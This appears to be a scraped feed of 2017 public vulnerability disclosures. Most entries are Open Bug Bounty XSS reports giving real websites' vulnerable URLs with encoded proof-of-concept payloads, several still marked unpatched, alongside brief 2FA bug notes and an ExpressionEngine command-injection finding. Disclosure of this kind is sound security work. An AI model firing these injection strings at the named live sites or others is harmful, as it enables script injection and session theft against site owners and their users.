vcharkarn.com XSS vulnerability

Vulnerable URL: http://www.vcharkarn.com/vcafe/search?searchkey=aaaaa%22+foo%3Dbar+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.10.2017 Vulnerability type:| XSS...

ExpressionEngine: Image lib - unescaped file path

Under ./system/ee/legacy/libraries/Imagelib.php There are function from CodeIgniter to manipulate images. The issue is that the PHP function exec is used two times in two different functions: imageprocessimagemagick and imageprocessnetpbm In both cases the fullsrcpath and fulldstpath are given...

portsmouthherald.nh.newsmemory.com XSS vulnerability

Vulnerable URL: http://portsmouthherald.nh.newsmemory.com/eebrowser/ipad/html5.check.2145/action/ipad/initpage.php?pSetup=OPENBUGBOUNTY" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

Legal Robot: Users with 2FA can have multiple sessions

While going live with additional 2FA options, a security researcher discovered that users that had enabled 2FA no longer executed regular logon hooks. Most of Legal Robot's logon hooks have no security impact, but one action logs out other sessions when a new session begins. While there is no...

class1inc.com XSS vulnerability

Vulnerable URL: http://www.class1inc.com/login.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8024934 VIP website status:| No Check class1inc.com SSL connection:| Grade: A...

fullyclothedpissing.com XSS vulnerability

Vulnerable URL: http://www.fullyclothedpissing.com/discount/girl.php?slug="luginanike Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 989531 VIP website status:| No Check fullyclothedpissing.com SSL connection:|...

slimewave.com XSS vulnerability

Vulnerable URL: http://slimewave.com/discount/girl.php?slug="terajoy Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 542624 VIP website status:| No Check slimewave.com SSL connection:| Grade: A Coordinated...

nastyporn.rssing.com XSS vulnerability

Vulnerable URL: http://nastyporn.rssing.com/request.php?req=gsearch=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5751...

ultimaroms.com XSS vulnerability

Vulnerable URL: http://www.ultimaroms.com/recherche.php?requete=%22%2F%3E%3Csvg%3E%3Csvg%2Fonload%3Dalert%28%27OPENBUGBOUNTY%27%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 16:33 GMT Vulnerability type:| XSS Vulnerability status:|...

hotelstaygulf.fr XSS vulnerability

Vulnerable URL: https://www.hotelstaygulf.fr/nl/overnachten/%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt/xssposed/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5304986 VIP...

notizap.uag.mx XSS vulnerability

Vulnerable URL: http://notizap.uag.mx/index.php/component/joomgallery/omijal-2014/omijal-2014-14142?jgforwardlink=" Details: Description| Value ---|--- Patched:| Yes, at 09.10.2017 Latest check for patch:| 09.10.2017 13:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

livepeople.fr XSS vulnerability

Vulnerable URL: http://www.livepeople.fr/?s=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edemonium%3C%2Ftag%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

visionhitechsecurity.com XSS vulnerability

Vulnerable URL: http://visionhitechsecurity.com/products/products.php?ptype=view=1607150003%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20SrcSet=K%20/;%20OnError=confirmOPENBUGBOUNTY%20//%3E=361200=1=2po=23=361200== Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

aex.ablenetinc.com XSS vulnerability

Vulnerable URL: http://aex.ablenetinc.com/home.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check aex.ablenetinc.com SSL...

sportrusten.nl XSS vulnerability

Vulnerable URL: https://www.sportrusten.nl/?s=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edemonium%3C%2Ftag%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

m.mobileringtonesstore.com XSS vulnerability

Vulnerable URL: http://m.mobileringtonesstore.com/mobiletracker.php?no=9822304015%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E%3Cimg%20src=%22https://images.cooltext.com/4956678.gif%22%20width=%22166%22%20height=%2270%22%20alt=%22m0ns7er%22%20/%3E...

Legal Robot: 2FA Error Handling on Google Authenticator

While searching for bugs in a recently launched 2FA feature, a security researcher discovered that client-side error handling for 2FA was incomplete and could cause confusing results for users. When 2FA failed, there was no error message returned to the client and the login progress spinner...

celebified.com XSS vulnerability

Vulnerable URL: http://www.celebified.com/celeb/helloworld/%22%20onmouseover=%22alert'OPENBUGBOUNTY'%22%20id=%22wrapper%22%20style=%22position:absolute%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

alliance-presse.info XSS vulnerability

Vulnerable URL: http://www.alliance-presse.info/mon-compte.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2688770 VIP website status:| No Check alliance-presse.info SSL...

gwww.tacamateurs.com XSS vulnerability

Vulnerable URL: https://gwww.tacamateurs.com/cgi-bin/hub6/updates.pl?find=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%27OPENBUGBOUNTY%27%29%3E==Date Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...